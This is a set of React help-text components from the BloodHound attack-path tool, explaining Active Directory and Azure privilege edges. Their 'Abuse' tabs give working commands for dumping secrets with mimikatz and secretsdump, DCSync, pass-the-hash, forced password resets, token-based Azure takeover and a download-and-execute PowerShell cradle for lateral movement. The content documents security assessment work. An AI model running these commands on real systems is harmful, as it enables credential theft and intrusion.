2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
23
```jsx import React from 'react'; const Opsec = () => { return <></>; }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Default/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
25
```jsx import React from 'react'; const References = () => { return ( <> <a href=''></a> <br /> <a href=''></a> <br /> <a href=''></a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Default/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
59
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZGlobalAdmin = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified> <Tab eventKey={1} title='INFO'> <General /> </Tab> <Tab eventKey={2} title='ABUSE'> <Abuse /> </Tab> <Tab eventKey={3} title='OPSEC'> <Opsec /> </Tab> <Tab eventKey={4} title='REFERENCES'> <References /> </Tab> </Tabs> ); }; AZGlobalAdmin.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZGlobalAdmin; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGlobalAdmin/AZGlobalAdmin.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
227
```jsx import React from 'react'; const General = () => { return ( <p> This edge indicates the principal has the Global Admin role active against the target tenant. In other words, the principal is a Global Admin. Global Admins can do almost anything against almost every object type in the tenant, this is the highest privilege role in Azure. </p> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGlobalAdmin/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
92
```jsx import React from 'react'; const Abuse = () => { return ( <> <p> As a Global Admin, you can change passwords, run commands on VMs, read key vault secrets, activate roles for other users, etc. </p> <p>Via PowerZure</p> <a href='path_to_url path_to_url </a> <p> For Global Admin to be able to abuse Azure resources, you must first grant yourself the 'User Access Administrator' role in Azure RBAC. This is done through a toggle button in the portal, or via the PowerZure function Set-AzureElevatedPrivileges. </p> <p> Once that role is applied to account, you can then add yourself as an Owner to all subscriptions in the tenant </p> </> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGlobalAdmin/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
200
```jsx import React from 'react'; const Opsec = () => { return ( <p> This depends on exactly what you do, but in general Azure will log each abuse action. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGlobalAdmin/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
54
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const DumpSMSAPassword = ({ sourceName, sourceType, targetName, targetType, }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info' > <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} /> </Tab> <Tab eventKey={2} title='Abuse Info' > <Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> </Tab> <Tab eventKey={3} title='Opsec Considerations'> <Opsec /> </Tab> <Tab eventKey={4} title='References'> <References /> </Tab> </Tabs> ); }; DumpSMSAPassword.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default DumpSMSAPassword; ```
/content/code_sandbox/src/components/Modals/HelpTexts/DumpSMSAPassword/DumpSMSAPassword.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
290
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat } from '../Formatter'; const General = ({sourceName, sourceType, targetName, targetType}) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} the Standalone Managed Service Account (sMSA) {targetName} installed on it. </p> <p> With administrative privileges on {sourceName}, it is possible to dump {targetName}'s password stored in LSA secrets. </p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/DumpSMSAPassword/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
159
```jsx import React from 'react'; const References = () => { return( <> <a href="path_to_url">path_to_url <br /> <a href="path_to_url">path_to_url <br /> <a href="path_to_url">path_to_url </> ) }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/DumpSMSAPassword/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
74
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> Access to registry hives can be monitored and alerted via event ID 4656 (A handle to an object was requested). </p> </> ) }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/DumpSMSAPassword/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
65
```jsx import React from 'react'; import {groupSpecialFormat} from "../Formatter"; const Abuse = ({sourceName, sourceType, targetName, targetType}) => { return ( <> <p> From an elevated command prompt on {sourceName}, run mimikatz then execute the following commands: </p> <pre> <code> { "privilege::debug\n" + "token::elevate\n" + "lsadump::secrets" } </code> </pre> <p> In the output, find <code>_SC_&#123;262E99C9-6160-4871-ACEC-4E61736B6F21&#125;_{targetName.toLowerCase().split('@')[0]}</code>. The next line contains <code>cur/hex :</code> followed with {targetName}'s password hex-encoded. </p> <p> To use this password, its NT hash must be calculated. This can be done using a small python script: </p> <pre> <code> { "# nt.py\n" + "import sys, hashlib\n\n" + "pw_hex = sys.argv[1]\n" + "nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()\n\n" + "print(nt_hash)" } </code> </pre> <p> Execute it like so: </p> <pre> <code> python3 nt.py 35f3e1713d61... </code> </pre> <p> To authenticate as the sMSA, leverage pass-the-hash. </p> <p> Alternatively, to avoid executing mimikatz on {sourceName}, you can save a copy of the <code>SYSTEM</code> and <code>SECURITY</code> registry hives from an elevated prompt: </p> <pre> <code> reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY </code> </pre> <p> Transfer the files named <code>SYSTEM</code> and <code>SECURITY</code> that were saved at <code>%temp%</code> to another computer where mimikatz can be safely executed. On this other computer, run mimikatz from a command prompt then execute the following command to obtain the hex-encoded password: </p> <pre> <code> lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY </code> </pre> </> ) }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/DumpSMSAPassword/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
619
```jsx import React from 'react'; const General = () => { return ( <> <p> This edge is created during post-processing. It is created against all App Registrations and Service Principals within the same tenant when an Azure principal has one of the following Azure Active Directory roles: </p> <p> <ul> <li>Hybrid Identity Administrator</li> <li>Partner Tier1 Support</li> <li>Partner Tier2 Support</li> <li>Directory Synchronization Accounts</li> </ul> </p> <p> You will not see these privileges when auditing permissions against any of the mentioned objects when you use Microsoft tooling, including the Azure portal or any API. </p> </> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAddOwner/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
183
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZAddOwner = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General /> </Tab> <Tab eventKey={2} title='Abuse Info'> <Abuse /> </Tab> <Tab eventKey={3} title='Opsec Considerations'> <Opsec /> </Tab> <Tab eventKey={4} title='References'> <References /> </Tab> </Tabs> ); }; AZAddOwner.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZAddOwner; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
225
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url ATT&amp;CK T1098: Account Manipulation </a> <br /> <a href='path_to_url Andy Robbins - Azure Privilege Escalation via Service Principal Abuse </a> <br /> <a href='path_to_url Andy Robbins - BARK.ps1 </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAddOwner/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
113
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> Any time you add an owner to any Azure object, the AzureAD audit logs will create an event logging who added an owner to what object, as well as what the new owner added to the object was. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAddOwner/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
84
```jsx import React from 'react'; const Abuse = () => { return ( <> <p> You can use BARK to add a new owner to the target object. The BARK function you use will depend on the target object type, but all of the functions follow a similar syntax. </p> <p> These functions require you to supply an MS Graph-scoped JWT associated with the principal that has the privilege to add a new owner to your target object. There are several ways to acquire a JWT. For example, you may use BARKs Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT by supplying a refresh token: </p> <pre> <code> { '$MGToken = Get-GraphTokenWithRefreshToken `\n' + ' -RefreshToken "0.ARwA6WgJJ9X2qk" `\n' + ' -TenantID "contoso.onmicrosoft.com"' } </code> </pre> <p> To add a new owner to a Service Principal, use BARK's New-ServicePrincipalOwner function: </p> <pre> <code> { 'New-ServicePrincipalOwner `\n' + ' -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `\n' + ' -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' + ' -Token $Token' } </code> </pre> <p> To add a new owner to an App Registration, use BARK's New-AppOwner function: </p> <pre> <code> { 'New-AppOwner `\n' + ' -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `\n' + ' -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' + ' -Token $Token' } </code> </pre> </> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
522
```jsx import React from 'react'; const WindowsAbuse = () => { return ( <> <p> With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz: </p> <pre> <code> { 'lsadump::dcsync /domain:testlab.local /user:Administrator' } </code> </pre> <p> You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on this see the blog post by harmj0y in the references tab. </p> </> ); }; export default WindowsAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GetChanges/WindowsAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
165
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const GetChanges = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; GetChanges.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default GetChanges; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GetChanges/GetChanges.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
279
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat } from '../Formatter'; const General = ({ sourceName, sourceType, targetName }) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} the DS-Replication-Get-Changes privilege on the domain {targetName}. </p> <p> Individually, this edge does not grant the ability to perform an attack. However, in conjunction with DS-Replication-Get-Changes-All, a principal may perform a DCSync attack. </p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GetChanges/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
174
```jsx import React from 'react'; const Opsec = () => { return ( <p> For detailed information on detection of dcsync as well as opsec considerations, see the adsecurity post in the references tab. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GetChanges/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
62
```jsx import React from 'react'; const LinuxAbuse = () => { return ( <> <p> You may perform a dcsync attack to get the password hash of an arbitrary principal using impacket's secretsdump.py example script: </p> <pre> <code> { "secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'" } </code> </pre> <p> You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on this see the blog post by harmj0y in the references tab. </p> </> ); }; export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
158
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat } from '../Formatter'; const General = ({sourceName, sourceType, targetName}) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} the capability to create a PSRemote Connection with the computer {targetName}. </p> <p> PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system. </p> <p>Note: This edge does not guarantee privileged execution.</p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/CanPSRemote/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
183
```jsx import React from 'react'; import { Tab, Tabs } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const CanPSRemote = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> </Tab> <Tab eventKey={2} title='Abuse Info'> <Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> </Tab> <Tab eventKey={3} title='Opsec Considerations'> <Opsec /> </Tab> <Tab eventKey={4} title='References'> <References /> </Tab> </Tabs> ); }; CanPSRemote.propTypes = {}; export default CanPSRemote; ```
/content/code_sandbox/src/components/Modals/HelpTexts/CanPSRemote/CanPSRemote.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
236
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/CanPSRemote/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
67
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> When using the PowerShell functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. </p> <p> Entering a PSSession will generate a logon event on the target computer. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/CanPSRemote/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
119
```jsx import React from 'react'; const General = () => { return ( <p> The ability to change another user's password without knowing their current password </p> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZResetPassword/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
48
```jsx import React from 'react'; import PropTypes from 'prop-types'; const Abuse = ({sourceName, sourceType, targetName}) => { return ( <> <p> Abuse of this privilege will require you to have interactive access with a system on the network. </p> <p> A remote session can be opened using the New-PSSession powershell command. </p> <p> You may need to authenticate to the Domain Controller as{' '} {sourceType === 'User' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with New-PSSession, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then use the New-PSSession command with the credential we just created: </p> <pre> <code>{`$session = New-PSSession -ComputerName ${targetName} -Credential $Cred`}</code> </pre> <p>This will open a powershell session on {targetName}.</p> <p> You can then run a command on the system using the Invoke-Command cmdlet and the session you just created </p> <pre> <code> { 'Invoke-Command -Session $session -ScriptBlock {Start-Process cmd}' } </code> </pre> <p> Cleanup of the session is done with the Disconnect-PSSession and Remove-PSSession commands. </p> <pre> <code> {'Disconnect-PSSession -Session $session\n' + 'Remove-PSSession -Session $session'} </code> </pre> <p> An example of running through this cobalt strike for lateral movement is as follows: </p> <pre> <code> { "powershell $session = New-PSSession -ComputerName win-2016-001; Invoke-Command -Session $session -ScriptBlock {IEX ((new-object net.webclient).downloadstring('path_to_url}; Disconnect-PSSession -Session $session; Remove-PSSession -Session $session" } </code> </pre> </> ); }; Abuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/CanPSRemote/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
630
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZResetPassword = ({ sourceName, sourceType, targetName, targetType, }) => { return ( <Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified> <Tab eventKey={1} title='INFO'> <General /> </Tab> <Tab eventKey={2} title='ABUSE'> <Abuse /> </Tab> <Tab eventKey={3} title='OPSEC'> <Opsec /> </Tab> <Tab eventKey={4} title='REFERENCES'> <References /> </Tab> </Tabs> ); }; AZResetPassword.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZResetPassword; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZResetPassword/AZResetPassword.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
232
```jsx import React from 'react'; const References = () => { return ( <p> <a href='path_to_url#set-azureuserpassword'> path_to_url#set-azureuserpassword </a> </p> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZResetPassword/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
61
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> When resetting a users password and letting Azure set a new random password, Azure will log two events: </p> <p> Reset user password and Reset password (by admin). These logs describe who performed the password reset, against which user, and at what time. </p> <p> When setting a specified new password for the user, Azure will log two events: </p> <p> Reset user password and Update user. The first log will describe who changed the targets password and when. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZResetPassword/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
156
```jsx import React from 'react'; const Abuse = () => { return ( <> <p> There are several options for executing this attack. What will work best for you depends on a few factors, including which type of credential you possess for the principal with the password reset privilege against the target, whether that principal is affected by MFA requirements, and whether the principal is affected by conditional access policies. </p> <p> The most simple way to execute this attack is to log into the Azure Portal at portal.azure.com as the principal with the password reset privilege, locate the target user in the Portal, and click &quot;Reset Password&quot; on the target users overview tab. </p> <p> You can also execute this attack with the official Microsoft PowerShell module, using Set-AzureADUserPassword, or PowerZures Set-AzureUserPassword cmdlet. </p> <p> In some situations, you may only have access to your compromised principals JWT, and not its password or other credential material. For example, you may have stolen a JWT for a service principal from an Azure Logic App, or you may have stolen a users JWT from Chrome. </p> <p> There are at least two ways to reset a users password when using a token, depending on the scope of the token and the type of identity associated with the token: </p> <h4>Using an MS Graph-scoped token</h4> <p> If your token is associated with a Service Principal or User, you may set the targets password to a known value by hitting the MS Graph API. </p> <p> You can use BARKs Set-AZUserPassword cmdlet to do this. First, we need to either already have or create an MS Graph-scoped JWT for the user or service principal with the ability to reset the target users password: </p> <pre> <code> $MGToken = (Get-MSGraphTokenWithClientCredentials -ClientID &quot;&lt;service principals app id&gt;&quot; -ClientSecret &quot;&lt;service principals plain text secret&gt;&quot; -TenantName &quot;contoso.onmicrosoft.com&quot;).access_token </code> </pre> <p> Then we supply this token, our target users ID, and the new password to the Set-AZUserPassword cmdlet: </p> <pre> <code> Set-AZUserPassword -Token $MGToken -TargetUserID &quot;d9644c...&quot; -Password &quot;SuperSafePassword12345&quot; </code> </pre> <p> If successful, the output will include a &quot;204&quot; status code: <pre> <code> StatusCode : 204 StatusDescription : NoContent Content : &#123;&#125; RawContent : HTTP/1.1 204 NoContent Cache-Control: no-cache Strict-Transport-Security: max-age=31536000 request-id: 94243... client-request-id: 94243... x-ms Headers : &#123;[Cache-Control, System.String[]], [Strict-Transport-Security, System.String[]], [request-id, System.String[]], [client-request-id, System.String[]]&#125; RawContentLength : 0 RelationLink : &#123;&#125; </code> </pre> </p> <h4>Using an Azure Portal-scoped token</h4> <p> You may have or be able to acquire an Azure Portal-scoped JWT for the user with password reset rights against your target user. In this instance, you can reset the users password, letting Azure generate a new random password for the user instead of you supplying one. For this, you can use BARKs Reset-AZUserPassword cmdlet. </p> <p> You may already have the Azure Portal-scoped JWT, or you may acquire one through various means. For example, you can use a refresh token to acquire a Portal-scoped JWT by using BARKs Get-AzurePortalTokenWithRefreshToken cmdlet: </p> <pre> <code> $PortalToken = Get-AzurePortalTokenWithRefreshToken -RefreshToken $RefreshToken -TenantID &quot;contoso.onmicrosoft.com&quot; </code> </pre> <p> Now you can supply the Portal token to BARKs Reset-AZUserPassword cmdlet: </p> <pre> <code> Reset-AZUserPassword -Token $PortalToken.access_token -TargetUserID &quot;targetuser@contoso.onmicrosoft.com&quot; </code> </pre> <p> If successful, the response will look like this: </p> <pre> <code> StatusCode : 200 StatusDescription : OK Content : &quot;Gafu1918&quot; RawContent : HTTP/1.1 200 OK Cache-Control: no-store Set-Cookie: browserId=d738e8ac-3b7d-4f35-92a8-14635b8a942b; domain=main.iam.ad.ext.azure.com; path=/; secure; HttpOnly; SameSite=None X-Content-Type-Options: no Headers : &#123;[Cache-Control, System.String[]], [Set-Cookie, System.String[]], [X-Content-Type-Options, System.String[]], [X-XSS-Protection, System.String[]]&#125; Images : &#123;&#125; InputFields : &#123;&#125; Links : &#123;&#125; RawContentLength : 10 RelationLink : &#123;&#125; </code> </pre> <p> As you can see, the plain-text value of the users password is visible in the &quot;Content&quot; parameter value. </p> </> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZResetPassword/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
1,385
```jsx import React from 'react'; import PropTypes from 'prop-types'; const WindowsAbuse = ({ sourceName, sourceType }) => { return ( <> <p> There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab). </p> <p> To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as {sourceType === 'User' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then create a secure string object for the password you want to set on the target user: </p> <pre> <code> { "$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force" } </code> </pre> <p> Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as {sourceName}: </p> <pre> <code> { 'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred' } </code> </pre> <p> Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab. </p> </> ); }; WindowsAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, }; export default WindowsAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/WindowsAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
676
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat, typeFormat } from '../Formatter'; const General = ({ sourceName, sourceType, targetName, targetType }) => { return ( <p> {groupSpecialFormat(sourceType, sourceName)} the capability to change the {typeFormat(targetType)} {targetName}'s password without knowing that user's current password. </p> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
134
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const ForceChangePassword = ({ sourceName, sourceType, targetName, targetType, }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse sourceName={sourceName} sourceType={sourceType} /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse sourceName={sourceName} sourceType={sourceType} /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; ForceChangePassword.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default ForceChangePassword; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/ForceChangePassword.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
317
```jsx import React from 'react'; import PropTypes from 'prop-types'; const LinuxAbuse = ({ sourceName, sourceType }) => { return ( <> <p> Use samba's net tool to change the user's password. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line. The new password will be prompted if omitted from the command line. </p> <pre> <code> { 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <p> Pass-the-hash can also be done here with <a href='path_to_url net tool</a>. If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>. </p> <pre> <code> { 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"' } </code> </pre> <p> Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab. </p> </> ); }; LinuxAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, }; 